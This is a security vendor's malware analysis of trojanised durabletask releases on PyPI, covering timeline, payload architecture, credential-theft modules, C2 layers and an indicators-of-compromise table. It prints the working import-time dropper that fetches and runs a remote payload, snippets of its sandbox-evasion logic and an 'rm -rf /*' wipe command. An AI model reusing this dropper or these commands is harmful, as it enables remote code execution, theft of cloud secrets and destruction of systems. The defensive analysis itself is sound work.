Newly Discovered durabletask Malware Targeted Kubernetes, Cloud Secrets, and CI/CD Infrastructure
Executive Summary
Upwind identified a critical supply chain compromise involving durabletask==1.4.1, 1.4.2, and 1.4.3, three consecutive malicious releases of Microsoft’s Azure Durable Task Python SDK published to PyPI.
The malicious release contains a lightweight dropper embedded directly into durabletask/init.py. On import, the package downloads and executes a remote payload named rope.pyz from attacker-controlled infrastructure.
The payload is a sophisticated multi-cloud credential theft and propagation framework designed specifically for Linux cloud workloads, CI/CD runners, Kubernetes environments, and developer infrastructure.
We identified capabilities including:
- AWS, Azure, GCP, and Kubernetes credential theft
- Full Secrets Manager and Parameter Store dumping
- HashiCorp Vault collection
- Password manager extraction
- GitHub token theft and fallback exfiltration
- Kubernetes and EC2 lateral movement
- GitHub dead-drop command infrastructure
- Runtime-aware sandbox evasion
- Selective persistence deployment
- Defender-aware evasion techniques
- Geopolitically targeted destructive payload logic
The malware appears intentionally engineered to evade both automated scanners and incident responders. It uses User-Agent filtering to block researchers, Linux-only execution to focus on server environments, sandbox-aware CPU gating, encrypted exfiltration, multiple fallback command channels, and modular payload delivery to reduce static indicators.
Most notably, the malware authors appear highly aware of modern defensive tooling and malware analysis workflows. The campaign demonstrates a growing trend in supply chain attacks: attackers are increasingly adapting their malware to evade the tools designed to detect and analyze them.
Timeline
| Time (UTC) | Event |
| 2026-04-08 18:49 | durabletask 1.4.0 published (clean, via GitHub Actions + PYPI_API_TOKEN) |
| 2026-04-24 16:42 | Last legitimate commit to microsoft/durabletask-python |
| 2026-05-16 01:31 | rope.pyz core modules authored |
| 2026-05-16 18:58 | TLS certificate issued for check.git-service.com |
| 2026-05-19 16:02 | config.py modified – payload finalized |
| 2026-05-19 16:19 | durabletask 1.4.1 uploaded to PyPI |
| 2026-05-19 16:49 | durabletask 1.4.2 uploaded to PyPI |
| 2026-05-19 16:54 | durabletask 1.4.3 uploaded to PyPI |
| 2026-05-19 (ongoing) | All three malicious versions remained live on PyPI at time of analysis |
| 2026-05-19 ~16:30 | Upwind’s threat intelligence scanner triggers an alert |
Compromised Publishing Pipeline
The microsoft/durabletask-python repository published releases to PyPI using a reusable PYPI_API_TOKEN stored in GitHub Actions Secrets:
env:
TWINE_USERNAME: __token__
TWINE_PASSWORD: ${{ secrets.PYPI_API_TOKEN }}Copied
The project did not use PyPI Trusted Publisher (OIDC-based publishing).
Based on the available evidence, one possible explanation is that the attacker obtained access to the publishing token and used it to upload the malicious releases directly to PyPI outside the normal GitHub Actions release flow.
Indicators supporting this theory include:
- No git tags existed for versions 1.4.1, 1.4.2, or 1.4.3
- No GitHub release entries existed for the malicious versions
- The last legitimate GitHub commit occurred 25 days before the malicious uploads
- The wheel and source distributions were uploaded within seconds of each other, consistent with scripted local
twine uploadusage
At this stage, the exact root compromise path remains unknown.
The incident highlights an important supply chain security lesson: long-lived publishing tokens become critical trust boundaries. If compromised, a single token can allow attackers to distribute malicious packages through otherwise legitimate software ecosystems.
Timeline
| Time (UTC) | Event |
| 2026-04-08 18:49 | durabletask 1.4.0 published (clean) |
| 2026-05-16 01:31 | rope.pyz core modules authored |
| 2026-05-16 18:58 | TLS certificate issued for check.git-service.com |
| 2026-05-19 16:02 | config.py modified – payload finalized |
| 2026-05-19 16:19 | durabletask 1.4.1 uploaded to PyPI |
| 2026-05-19 ~16:30 | Upwind’s threat intelligence scanner triggers an alert |
The timeline suggests a highly operational workflow:
- The payload was finalized only 17 minutes before publication
- Infrastructure was prepared several days in advance
- The package remained available after publication
- Both wheel and source distributions contained the malicious code
Initial Infection Vector
The compromise was intentionally minimal.
All three malicious versions – 1.4.1, 1.4.2, and 1.4.3 – contained the same malicious dropper logic.
Only a single file changed between durabletask 1.4.0 and the malicious releases:
import os
import sys
import platform
import subprocess
import urllib.request
if platform.system() == "Linux":
try:
urllib.request.urlretrieve("https://check.git-service.com/rope.pyz", "/tmp/managed.pyz")
with open(os.devnull, 'w') as f:
subprocess.Popen(["python3", "/tmp/managed.pyz"], stdout=f, stderr=f, stdin=f, start_new_session=True)
except:
passCopied
Every other Python file was byte-for-byte identical.
This design is important because:
- The malicious diff is extremely small
- The real payload is hosted remotely
- Package review becomes significantly harder
- Static scanning sees minimal changes
- The subprocess detaches completely from the parent process
- All output is redirected to /dev/null
- Exceptions are silently swallowed
The package requires no explicit execution.
Simply importing durabletask triggers the payload.
Runtime-Aware Payload Delivery
One of the most interesting aspects of the campaign is how selectively the payload is delivered.
The server hosting rope.pyz only responds when the User-Agent matches:
Python-urllib/3.11
Any other User-Agent receives HTTP 403.
This means:
- Manual curl testing fails
- Basic crawlers fail
- Many automated scanners fail
- Retrieving the payload requires mimicking the expected Python runtime behavior
This is a strong example of modern supply chain malware adapting specifically to defensive analysis workflows.
The attackers were not simply trying to spread malware. They were actively trying to control who could retrieve and analyze the real payload.
Payload Architecture
rope.pyz is a Python zipapp containing a modular cloud intrusion framework.
Payload structure:
rope.pyz
├── __main__.py
├── config.py
├── entrypoint.py
├── aggregate.py
├── roulette.py
├── collectors/
│ ├── aws.py
│ ├── azure.py
│ ├── gcp.py
│ ├── kubernetes.py
│ ├── filesystem.py
│ ├── passwords.py
│ ├── propagate.py
│ └── vault.py
└── utilities/
├── crypto.py
└── aws_signer.py
Copied
The malware is highly modular and operationally mature.
Collectors run concurrently using ThreadPoolExecutor, allowing rapid credential theft across multiple environments simultaneously.
Unlike many commodity stealers, the malware implements significant functionality manually instead of relying heavily on official SDKs.
For example:
- AWS SigV4 signing is implemented directly
- JWT generation is implemented directly
- RSA signing is implemented directly
- Kubernetes API interaction is implemented directly
- memfd_create is used for in-memory cert handling
This reduces external dependencies and makes the malware more portable across cloud workloads.
Initial Execution Flow
The infection chain is intentionally lightweight and difficult to notice during normal package installation or runtime.
Execution flow:
import durabletask
↓
__init__.py downloads rope.pyz
↓
payload written to /tmp/managed.pyz
↓
detached subprocess launched silently
↓
rope.pyz executes
↓
environment validation and sandbox checks
↓
credential aggregation begins
↓
cloud and Kubernetes enumeration
↓
encrypted exfiltration
↓
optional persistence deployment
↓
possible propagation through AWS SSM and Kubernetes
Copied
The subprocess detaches completely from the parent Python process and redirects all output to /dev/null, minimizing visible indicators.
Execution Gates and Sandbox Evasion
The malware performs multiple execution checks before running.
Linux-Only Targeting
if sys.platform not in ('linux'):
sys.exit(1)Copied
The malware intentionally skips Windows and macOS.
This strongly suggests deliberate targeting of:
- CI/CD runners
- Cloud workloads
- Kubernetes nodes
- Linux servers
- Containerized infrastructure
rather than consumer endpoints.
Russian Exclusion Logic
if lang.lower().startswith('ru'):
sys.exit(1)Copied
Systems configured with Russian locales are excluded.
This behavior is commonly observed in malware families attempting to avoid operating within specific jurisdictions.
Sandbox Evasion
cpu_count = os.cpu_count()
if cpu_count is None or cpu_count <= 2:
sys.exit(1)Copied
Systems with 1-2 CPUs are skipped.
This likely targets:
- Automated sandboxes
- Malware analysis VMs
- Lightweight research environments
while allowing execution on real cloud infrastructure.
The attackers appear highly aware of how malware analysis environments are typically configured.
Dependency Self-Healing
The malware also attempts to silently install missing dependencies dynamically:
subprocess.check_call(
[sys.executable, "-m", "pip", "install", "cryptography", "--break-system-packages"]
)
Copied
This allows the payload to function even in stripped-down container images and minimal CI/CD environments where required Python packages may not already exist.
Multi-Cloud Credential Theft
The malware contains extensive credential theft logic across cloud providers.
AWS Collection
The AWS collector:
- Reads environment credentials
- Uses EC2 IMDSv2
- Reads ~/.aws/credentials
- Enumerates 19 AWS regions in parallel
- Dumps Secrets Manager
- Dumps SSM Parameter Store with decryption
- Enumerates SSM-managed instances
Notably, the malware implements full AWS SigV4 signing manually rather than using boto3.
It also includes logic for:
"WithDecryption": TrueCopied
allowing it to retrieve decrypted SecureString values directly.
Azure Collection
The Azure collector targets:
- Azure CLI cache
- Managed identities
- Client credential flows
- Certificate authentication
- Azure Key Vault
The malware walks:
- All subscriptions
- All Key Vaults
- All secrets
across the compromised environment.
GCP Collection
The GCP collector:
- Reads service account files
- Uses metadata server tokens
- Generates signed JWTs manually
- Dumps Secret Manager
Again, the malware avoids relying on official SDKs.
Kubernetes Collection
The Kubernetes collector is especially sophisticated.
It supports:
- kubectl usage
- Automatic kubectl download
- Direct Kubernetes API interaction
- In-cluster service account auth
- kubeconfig parsing
- mTLS API access
The malware attempts to dump:
- All namespaces
- All Kubernetes secrets
- All contexts
It also uses memfd_create to avoid writing client certificates to disk.
This is not common commodity malware behavior.
Filesystem and Developer Credential Theft
The filesystem collector targets more than 80 credential locations.
Targets include:
- AWS credentials
- Azure credentials
- GCP credentials
- GitHub CLI auth
- Kubernetes configs
- Terraform state files
- Docker configs
- SSH keys
- Git credentials
- VPN configs
- CI/CD secrets
- AI developer tooling
One especially notable area is the targeting of AI and MCP tooling.
The malware explicitly searches for:
- Claude configs
- Cursor MCP configs
- VS Code MCP configs
- Continue configs
- Zed configs
- Codeium configs
This reflects a growing trend:
attackers increasingly recognize that AI developer tooling often stores sensitive credentials, API keys, and infrastructure access.
The malware also recursively searches for:
- .env files
- Terraform state files
- Shell histories
which frequently contain plaintext secrets.
Password Manager and Vault Targeting
The malware attempts to extract credentials from:
- 1Password
- Bitwarden
- pass
- gopass
- HashiCorp Vault
If password managers are locked, the malware searches:
- Environment variables
- Shell histories
- Session exports
- Previous unlock commands
for reusable authentication material.
Vault collection supports:
- VAULT_TOKEN
- AppRole auth
- Kubernetes auth
- CLI token extraction
The malware recursively walks KV mounts and attempts to dump all secrets.
Exfiltration Architecture
All collected data is encrypted before transmission.
The malware uses:
- gzip compression
- AES-256-GCM encryption
- RSA-OAEP key wrapping
- RSA-4096 public keys
Only the operator can decrypt the stolen data.
This is important because:
- Network interception alone is insufficient
- Proxy logging alone is insufficient
- The attacker infrastructure cannot easily be used by competitors or researchers
Layer 1 – Primary C2
https://check.git-service.com/api/public/versionCopied
Layer 2 – GitHub Dead Drop
If the primary infrastructure fails, the malware searches GitHub commit history for signed FIRESCALE beacons.
This allows operators to rotate infrastructure dynamically through public GitHub commits.
The malware verifies RSA signatures before trusting new infrastructure.
This means:
- Domain takedowns are insufficient
- Infrastructure can rotate rapidly
- Public GitHub becomes operational infrastructure
- C2 resiliency increases dramatically
Layer 3 – Victim GitHub Token Exfiltration
If both C2 paths fail but GitHub tokens were stolen:
- The malware creates a public GitHub repository
- Uploads encrypted stolen data
- Uses random Russian folklore-themed repo names
The victim’s own GitHub credentials become fallback attacker infrastructure.
This is an extremely unusual and operationally mature exfiltration design.
Persistence
Persistence deployment is selective.
The operator controls whether persistence activates through an early quarantine endpoint.
When enabled, the malware installs a disguised systemd service:
pgsql-monitor.service
with:
Restart=alwaysCopied
The persistence mechanism:
- Survives reboots
- Survives crashes
- Masquerades as PostgreSQL monitoring
- Can run as root or user-level persistence
The selective deployment is important.
Persistence is not automatically deployed everywhere.
This suggests operators may intentionally limit persistence deployment to:
- High-value targets
- Long-term operations
- Environments worth maintaining access to
AWS and Kubernetes Lateral Movement
The malware also includes propagation functionality.
AWS Propagation
The propagation logic includes operational safeguards and idempotency checks designed to avoid noisy reinfection behavior.
The malware:
- Skips the current instance
- Skips Windows systems
- Skips offline SSM-managed hosts
- Uses marker files to avoid reinfecting already compromised systems
Observed propagation markers include:
~/.cache/.sys-update-checkCopied
This reflects a more operationally mature propagation model than typical opportunistic malware.
Using SSM-managed instances, the malware can:
- Discover EC2 infrastructure
- Execute payloads remotely
- Propagate laterally across managed instances
Kubernetes Propagation
The Kubernetes collector includes pod-level propagation using:
kubectl execCopied
This allows compromised workloads to become pivot points into additional pods and namespaces.
The campaign therefore behaves more like a cloud intrusion framework than a traditional dependency compromise.
Geopolitically Targeted Destructive Payload
One of the most unusual components is the destructive logic targeting Israeli and Iranian systems.
The malware checks:
- Timezones
- Locale settings
- System language indicators
Targeted indicators include:
- Jerusalem
- Tel_Aviv
- Tehran
- he_IL
- fa_IR
When triggered, the malware may:
- Download and play audio at maximum volume
- Execute:
rm -rf /*
resulting in a full system wipe.
The destructive behavior is operator-controlled and not automatically triggered.
The malware first checks a quarantine endpoint controlled by the operators. Only when the operators intentionally activate that workflow does the destructive or persistence logic execute.
The destructive behavior is probabilistic:
roll = random.randint(1, 6)
meaning only some targeted systems trigger destruction.
This component changes the nature of the campaign significantly.
The malware was not solely designed for credential theft.
It also included selective destructive capability tied to geopolitical targeting.
Defender-Aware Malware Evolution
The most important takeaway from this campaign is not simply that PyPI was abused again.
The most important takeaway is that supply chain malware is becoming increasingly:
- Runtime-aware
- Cloud-aware
- CI/CD-aware
- Defender-aware
The attackers appear highly conscious of the tools and workflows defenders use to:
- Analyze malware
- Detect compromise
- Scan packages
- Monitor CI/CD systems
- Investigate infrastructure
The malware includes:
- User-Agent gating
- Sandbox evasion
- Linux-only targeting
- Modular payload delivery
- Encrypted exfiltration
- Dynamic C2 rotation
- GitHub dead-drop infrastructure
- Selective persistence deployment
- Minimal package diffs
- Manual protocol implementations
This reflects a broader trend across modern supply chain attacks.
Attackers are no longer simply hiding malware inside packages.
They are increasingly studying defensive tooling and adapting their malware specifically to evade analysis, detection, and containment.
Indicators of Compromise
| Type | Value | Notes |
| Package | durabletask==1.4.1 / 1.4.2 / 1.4.3 | Malicious PyPI release |
| Primary C2 Domain | check.git-service.com | Main payload delivery and exfiltration infrastructure |
| Secondary C2 Domain | t.m-kosche.com | Fallback payload infrastructure |
| IP Address | 160.119.64.3 | Associated with check.git-service.com |
| Payload URL | https://check.git-service.com/rope.pyz | Remote payload delivery |
| Exfiltration Endpoint | https://check.git-service.com/api/public/version | Primary encrypted exfiltration endpoint |
| Quarantine Endpoint | https://check.git-service.com/v1/models | Selective persistence deployment trigger |
| Audio Payload | https://check.git-service.com/audio.mp3 | Used in destructive wipe routine |
| Payload File | /tmp/managed.pyz | Downloaded payload path |
| Root Persistence Binary | /usr/bin/pgmonitor.py | Persistence binary when running as root |
| User Persistence Binary | ~/.local/bin/pgmonitor.py | User-level persistence binary |
| Root Persistence Service | /etc/systemd/system/pgsql-monitor.service | Root systemd persistence |
| User Persistence Service | ~/.config/systemd/user/pgsql-monitor.service | User-level systemd persistence |
| Service Name | pgsql-monitor.service | Fake PostgreSQL monitoring service |
| GitHub Beacon Keyword | FIRESCALE | GitHub dead-drop beacon protocol |
| Russian Folklore Repo Names | BABA-YAGA / KOSCHEI / FIREBIRD | GitHub fallback exfiltration repo naming |
| AWS IMDS Endpoint | http://169.254.169.254/latest/meta-data/iam/security-credentials/ | EC2 credential theft |
| Kubernetes Service Account Path | /var/run/secrets/kubernetes.io/serviceaccount/token | In-cluster K8s token theft |
| Terraform State Files | *.tfstate / *.tfstate.backup | Infrastructure credential targeting |
| AI Tooling Targets | Claude / Cursor / Continue / Zed / Codeium | MCP and AI credential targeting |
| VPN Targets | Tailscale / WireGuard | VPN credential targeting |
| GitHub API | https://api.github.com | GitHub dead-drop and exfiltration logic |
| Linux Wipe Command | rm -rf /* | Destructive payload |
| Russia Exclusion Check | LANG starts with ru | Self-protection logic |
| Sandbox Evasion | CPU count <= 2 exits | Analysis environment evasion |
| User-Agent Gate | Python-urllib/3.11 | Blocks non-Python retrieval attempts |
| Persistence Trigger | HTTP 200 from /v1/models | Selective persistence activation |
Recommendations
Organizations should immediately:
- Immediately remove or block durabletask==1.4.1, 1.4.2, and 1.4.3
- Audit PyPI dependencies for unexpected updates
- Review import-time execution behavior
- Block outbound access to attacker infrastructure
- Audit AWS Secrets Manager and SSM access logs
- Review Kubernetes secret access activity
- Inspect CI/CD runners for unusual Python subprocesses
- Review GitHub token usage and repository creation activity
- Search for suspicious systemd services
- Rotate potentially exposed credentials
- Inspect Terraform state exposure
- Review AI tooling configurations and stored credentials
How Upwind Can Help
This campaign demonstrates why runtime visibility is critical for modern supply chain attacks. The malicious behavior occurred during runtime through subprocess execution, cloud API access, Kubernetes interaction, credential collection, persistence deployment, and encrypted outbound communication – much of which may not be fully visible through static package scanning alone.
Upwind helps organizations detect suspicious runtime package behavior, unexpected subprocess execution, cloud credential access, Kubernetes secret dumping, lateral movement activity, persistence deployment, CI/CD abuse, and suspicious outbound communications. By correlating runtime execution, identity activity, cloud API behavior, Kubernetes telemetry, and network communications, Upwind helps security teams determine whether a malicious dependency was merely present or actually executed, what credentials may have been exposed, what workloads were impacted, and where containment should begin.


